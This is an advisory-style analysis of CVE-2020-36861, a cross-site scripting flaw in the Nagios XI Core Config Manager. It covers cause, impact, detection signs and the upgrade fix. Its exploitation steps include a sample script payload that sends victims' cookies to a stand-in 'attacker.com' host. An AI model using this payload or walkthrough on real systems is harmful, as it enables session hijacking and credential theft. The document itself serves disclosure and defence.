CVE-2020-36861: 
Nagios XI vulnerability analysis and mitigation

CVE-2020-36861 is a stored/reflected cross-site scripting (XSS) vulnerability affecting the Core Config Manager (CCM) component of Nagios XI. The vulnerability exists in the overlay UI elements and the Notification/Check Period pages of CCM, where insufficient validation or escaping of user-supplied input allows an attacker to inject and execute arbitrary scripts in a victim's browser. It affects Nagios XI versions prior to 5.7.5 (CCM prior to 3.0.8). The CVE was published on October 30, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat Advisory, VulnCheck Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability stems from insufficient input validation and output escaping within the CCM's overlay UI rendering logic and the Notification/Check Period configuration pages. An authenticated attacker with low privileges can craft malicious input that, when rendered in another user's browser session, executes arbitrary JavaScript. Exploitation requires user interaction (a victim must view or interact with the affected page), and the scope is changed, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Red Hat Advisory, VulnCheck Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the Nagios XI application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying monitoring configurations), and potential privilege escalation if an administrator is targeted. Confidentiality and integrity impacts are rated low, with no direct availability impact (Red Hat Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2020-36861. The EPSS score is approximately 0.34%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with low-level privileges and user interaction from a victim, which limits the attack surface (Red Hat Advisory, VulnCheck Advisory).

1. Authenticate: Log in to the Nagios XI instance with a low-privileged account that has access to the Core Config Manager (CCM).
2. Identify vulnerable input fields: Navigate to the CCM overlay UI elements or the Notification/Check Period configuration pages, which do not properly sanitize user input.
3. Inject XSS payload: Enter a malicious JavaScript payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into an affected input field such as a notification period name or check period name.
4. Trigger victim interaction: Entice or wait for a higher-privileged user (e.g., an administrator) to view the affected page containing the injected payload.
5. Harvest results: The victim's browser executes the injected script, potentially sending session cookies or credentials to the attacker's server, enabling session hijacking or further unauthorized actions within Nagios XI (VulnCheck Advisory).

• Logs: Nagios XI web server access logs showing unusual GET/POST requests to CCM pages (e.g., /nagiosxi/includes/components/ccm/) containing URL-encoded script tags or JavaScript event handlers in parameter values.
• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after accessing CCM configuration pages, potentially carrying cookie or session data in query parameters.
• Application: Unexpected or unfamiliar entries in Notification Period or Check Period names within the CCM containing HTML tags or JavaScript syntax.

Nagios has addressed this vulnerability in Nagios XI 5.7.5 and CCM 3.0.8. Users should upgrade to Nagios XI 5.7.5 or later as the primary remediation. As a temporary workaround, restrict access to the Nagios XI CCM to trusted, authenticated users only, and limit network exposure of the Nagios XI web interface. Reviewing and auditing existing CCM configuration entries for unexpected script content is also recommended (Nagios Changelog, VulnCheck Advisory).